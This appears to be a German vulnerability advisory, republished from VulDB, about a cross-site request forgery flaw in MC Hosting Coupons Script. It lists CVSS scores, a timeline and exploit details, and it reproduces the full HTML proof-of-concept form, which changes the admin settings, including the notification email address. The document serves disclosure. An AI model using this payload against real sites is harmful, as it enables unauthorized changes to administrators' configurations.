800+ IT
News
als RSS Feed abonnieren📚 MC Hosting Coupons Script Cross Site Request Forgery
💡 Newskategorie: Sicherheitslücken
🔗 Quelle: vuldb.com
In MC Hosting Coupons Script - eine genaue Versionsangabe ist nicht möglich - wurde eine Schwachstelle entdeckt. Sie wurde als problematisch eingestuft. Betroffen ist eine unbekannte Funktion. Dank der Manipulation mit einer unbekannten Eingabe kann eine Cross Site Request Forgery-Schwachstelle ausgenutzt werden. Das hat Auswirkungen auf die Integrität.
Die Schwachstelle wurde am 15.01.2017 durch Ihsan Sencan als EDB-ID 41067 in Form eines ungeprüften Exploits (Exploit-DB) an die Öffentlichkeit getragen. Bereitgestellt wird das Advisory unter exploit-db.com. Die Umsetzung des Angriffs kann dabei über das Netzwerk erfolgen. Um eine Ausnutzung durchzusetzen, muss keine spezifische Authentisierung umgesetzt werden. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt.
Ein öffentlicher Exploit wurde durch Ihsan Sencan in HTML umgesetzt und sofort nach dem Advisory veröffentlicht. Er wird als proof-of-concept gehandelt. Der Download des Exploits kann von exploit-db.com geschehen. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
<html> <body> <form class="form-horizontal" method="post" action="http://localhost/[PATH]/admin/settings.php" id="settings_form"> <label for="website_name" class="control-label col-lg-4">Website Name (Title)</label><br> <input value="MC Hosting Coupons" class="validate[required] form-control" type="text" name="website_name" id="website_name" placeholder="Write website name(title)..." /><br> <label for="website_keywords" class="control-label col-lg-4">Website Keywords</label><br> <input value="hosting, coupons, save money" class="form-control" type="text" name="website_keywords" id="website_keywords" placeholder="Write website keywords..." /><br> <label for="email_receiver_address" class="control-label col-lg-4">Mail Receiver Email Address</label><br> <input value="mail@gmail.com" class="validate[required] form-control" type="text" name="email_receiver_address" id="email_receiver_address" placeholder="Write receiver email address..."><br> <label for="website_desc" class="control-label col-lg-4">Website Description</label><br> <textarea class="form-control" name="website_desc" id="website_desc" placeholder="Write website desc..." ></textarea><br> <input type="submit" name="sub" value="Submit" class="btn btn-primary" /> </form> </body> </html>
Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.
CVSSv3
Base Score: 4.3 [?]Temp Score: 3.9 [?]
Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R [?]
Zuverlässigkeit: High
CVSSv2
Base Score: 4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N) [?]Temp Score: 3.7 (CVSS2#E:POC/RL:ND/RC:UR) [?]
Zuverlässigkeit: High
CPE
Exploiting
Klasse: Cross Site Request ForgeryLokal: Nein
Remote: Ja
Verfügbarkeit: Ja
Zugang: öffentlich
Status: Proof-of-Concept
Programmiersprache: HTML
Autor: Ihsan Sencan
Download: exploit-db.com
Preisentwicklung: gleichbleibend
Aktuelle Preisschätzung: $0-$5k (0-day) / $0-$5k (Heute)
Exploit-DB: 41067
Gegenmassnahmen
Empfehlung: keine Massnahme bekannt0-Day Time: 0 Tage seit gefunden
Exploit Delay Time: 0 Tage seit bekannt
Timeline
15.01.2017 Advisory veröffentlicht15.01.2017 Exploit veröffentlicht
15.01.2017 EDB Eintrag veröffentlicht
17.01.2017 VulDB Eintrag erstellt
17.01.2017 VulDB letzte Aktualisierung
Quellen
Advisory: EDB-ID 41067Person: Ihsan Sencan
Status: Ungeprüft
Eintrag
Erstellt: 17.01.2017Eintrag: 73.6% komplett
...